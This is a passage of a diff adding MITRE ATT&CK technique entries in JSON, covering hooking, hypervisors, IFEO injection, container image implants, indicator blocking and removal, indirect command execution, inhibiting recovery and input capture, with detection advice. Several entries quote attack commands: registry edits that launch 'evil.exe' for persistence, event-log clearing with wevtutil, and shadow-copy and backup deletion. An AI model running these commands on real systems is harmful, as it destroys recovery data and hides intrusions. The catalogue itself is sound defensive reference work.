"phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1179", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1179" + }, + { + "source_name": "Microsoft Hook Overview", + "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx" + }, + { + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "Adlice Software IAT Hooks Oct 2014", + "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.", + "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/" + }, + { + "source_name": "MWRInfoSecurity Dynamic Hooking 2015", + "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.", + "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/" + }, + { + "source_name": "HighTech Bridge Inline Hooking Sept 2011", + "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.", + "url": "https://www.exploit-db.com/docs/17802.pdf" + }, + { + "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017", + "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017." + }, + { + "source_name": "Symantec Windows Rootkits", + "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.", + "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf" + }, + { + "source_name": "Volatility Detecting Hooks Sept 2012", + "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.", + "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html" + }, + { + "source_name": "PreKageo Winhook Jul 2011", + "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.", + "url": "https://github.com/prekageo/winhook" + }, + { + "source_name": "Jay GetHooks Sept 2011", + "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.", + "url": "https://github.com/jay/gethooks" + }, + { + "source_name": "Zairon Hooking Dec 2006", + "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.", + "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/" + }, + { + "source_name": "EyeofRa Detecting Hooking June 2017", + "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.", + "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/" + }, + { + "source_name": "GMER Rootkits", + "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.", + "url": "http://www.gmer.net/" + }, + { + "source_name": "Microsoft Process Snapshot", + "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx" + }, + { + "source_name": "StackExchange Hooks Jul 2012", + "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.", + "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis" + } + ], + "modified": "2019-04-03T15:02:18.662Z" + }, + { + "x_mitre_data_sources": [ + "System calls" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "Hypervisor", + "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.", + "id": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:50.958Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1062", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1062" + }, + { + "external_id": "CAPEC-552", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/552.html" + }, + { + "description": "Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.", + "source_name": "Wikipedia Xen", + "url": "http://en.wikipedia.org/wiki/Xen" + }, + { + "description": "Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.", + "source_name": "Myers 2007", + "url": "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf" + }, + { + "description": "virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth [Interview transcript]. Retrieved November 13, 2014.", + "source_name": "virtualization.info 2006", + "url": "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html" + }, + { + "description": "Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.", + "source_name": "Wikipedia Hypervisor", + "url": "https://en.wikipedia.org/wiki/Hypervisor" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "Image File Execution Options Injection", + "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", + "id": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Oddvar Moe, @oddvarmoe" + ], + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-31T13:45:13.024Z", + "external_references": [ + { + "external_id": "T1183", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1183" + }, + { + "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.", + "source_name": "Microsoft Dev Blog IFEO Mar 2010", + "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/" + }, + { + "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.", + "source_name": "Microsoft GFlags Mar 2017", + "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview" + }, + { + "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.", + "source_name": "FSecure Hupigon", + "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml" + }, + { + "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.", + "source_name": "Symantec Ushedix June 2008", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2" + }, + { + "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.", + "source_name": "Microsoft Silent Process Exit NOV 2017", + "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit" + }, + { + "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.", + "source_name": "Oddvar Moe IFEO APR 2018", + "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/" + }, + { + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "source_name": "Endgame Process Injection July 2017", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + } + ], + "x_mitre_defense_bypassed": [ + "Autoruns Analysis" + ] + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "name": "Implant Container Image", + "description": "Amazon Web Service (AWS) Amazon Machine Images (AMI), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored to include malicious code. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a web shell.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) Adversaries may also implant Docker images that may be inadvertently used in cloud deployments, which has been reported in some instances of cryptomining botnets.(Citation: ATT Cybersecurity Cryptocurrency Attacks on Cloud) ", + "id": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", + "x_mitre_platforms": [ + "GCP", + "Azure", + "AWS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2019-09-04T12:04:03.552Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1525", + "url": "https://attack.mitre.org/techniques/T1525" + }, + { + "description": "Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.", + "source_name": "Rhino Labs Cloud Image Backdoor Technique Sept 2019", + "url": "https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/" + }, + { + "description": "Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.", + "source_name": "Rhino Labs Cloud Backdoor September 2019", + "url": "https://github.com/RhinoSecurityLabs/ccat" + }, + { + "description": "Doman, C. & Hegel, T.. (2019, March 14). Making it Rain - Cryptocurrency Mining Attacks in the Cloud. Retrieved October 3, 2019.", + "source_name": "ATT Cybersecurity Cryptocurrency Attacks on Cloud", + "url": "https://www.alienvault.com/blogs/labs-research/making-it-rain-cryptocurrency-mining-attacks-in-the-cloud" + } + ], + "modified": "2019-10-22T19:49:39.399Z" + }, + { + "x_mitre_data_sources": [ + "Sensor health and status", + "Process command-line parameters", + "Process monitoring" + ], + "name": "Indicator Blocking", + "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ", + "id": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", + "modified": "2019-07-19T14:43:30.929Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}\n\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Rob Smith" + ], + "created": "2017-05-31T21:30:47.384Z", + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1054", + "url": "https://attack.mitre.org/techniques/T1054" + }, + { + "source_name": "capec", + "external_id": "CAPEC-571", + "url": "https://capec.mitre.org/data/definitions/571.html" + }, + { + "source_name": "Microsoft Lamin Sept 2017", + "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A" + }, + { + "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.", + "source_name": "Microsoft About Event Tracing 2018", + "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events" + }, + { + "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.", + "source_name": "Medium Event Tracing Tampering 2018", + "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Log analysis", + "Host intrusion prevention systems" + ] + }, + { + "x_mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Process command-line parameters", + "Anti-virus", + "Binary file metadata" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "name": "Indicator Removal from Tools", + "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.", + "id": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:54.176Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1066", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1066" + } + ], + "x_mitre_defense_bypassed": [ + "Log analysis", + "Host intrusion prevention systems", + "Anti-virus" + ] + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "API monitoring", + "Windows event logs" + ], + "type": "attack-pattern", + "name": "Indicator Removal on Host", + "description": "Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/* .\n\nActions that interfere with eventing and other notifications that can be used to detect intrusion activity may compromise the integrity of security solutions, causing events to go unreported. They may also make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\n### Clear Windows Event Logs\n\nWindows event logs are a record of a computer's alerts and notifications. Microsoft defines an event as \"any significant occurrence in the system or in a program that requires users to be notified or an entry added to a log.\" There are three system-defined sources of Events: System, Application, and Security.\n \nAdversaries performing actions related to account management, account logon and directory service access, etc. may choose to clear the events in order to hide their activities.\n\nThe event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nLogs may also be cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086).", + "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "modified": "2019-07-18T15:02:36.652Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Clearing the Windows event logs requires Administrator permissions" + ], + "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. For example, deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft Clear-EventLog)) may generate an alterable event (Event ID 1102: \"The audit log was cleared\"). Events not stored on the file system may require different detection mechanisms.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ed Williams, Trustwave, SpiderLabs" + ], + "created": "2017-05-31T21:30:55.892Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1070", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070" + }, + { + "source_name": "capec", + "external_id": "CAPEC-93", + "url": "https://capec.mitre.org/data/definitions/93.html" + }, + { + "source_name": "Microsoft wevtutil Oct 2017", + "description": "Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil" + }, + { + "source_name": "Microsoft EventLog.Clear", + "description": "Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.", + "url": "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx" + }, + { + "source_name": "Microsoft Clear-EventLog", + "description": "Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.", + "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog" + } + ], + "x_mitre_defense_bypassed": [ + "Log analysis", + "Host intrusion prevention systems", + "Anti-virus" + ] + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Indirect Command Execution", + "description": "Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.", + "id": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e", + "modified": "2019-04-24T18:28:19.845Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1202", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1202" + }, + { + "source_name": "VectorSec ForFiles Aug 2017", + "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.", + "url": "https://twitter.com/vector_sec/status/896049052642533376" + }, + { + "source_name": "Evi1cg Forfiles Nov 2017", + "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.", + "url": "https://twitter.com/Evi1cg/status/935027922397573120" + }, + { + "source_name": "RSA Forfiles Aug 2017", + "description": "Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.", + "url": "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe" + } + ], + "x_mitre_defense_bypassed": [ + "Static File Analysis", + "Application whitelisting", + "Process whitelisting", + "Whitelisting by file name or path" + ] + }, + { + "x_mitre_data_sources": [ + "Windows Registry", + "Services", + "Windows event logs", + "Process command-line parameters", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "Administrator", + "root", + "SYSTEM", + "User" + ], + "name": "Inhibit System Recovery", + "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no", + "id": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_impact_type": [ + "Availability" + ], + "type": "attack-pattern", + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\n\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\PreviousVersions\\DisableLocalPage).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Yonatan Gotlib, Deep Instinct" + ], + "created": "2019-04-02T13:54:43.136Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1490", + "url": "https://attack.mitre.org/techniques/T1490" + }, + { + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "source_name": "FireEye WannaCry 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + } + ], + "modified": "2019-07-19T14:37:37.347Z" + }, + { + "x_mitre_data_sources": [ + "Windows Registry", + "Kernel drivers", + "Process monitoring", + "API monitoring" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "Input Capture", + "description": "Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private 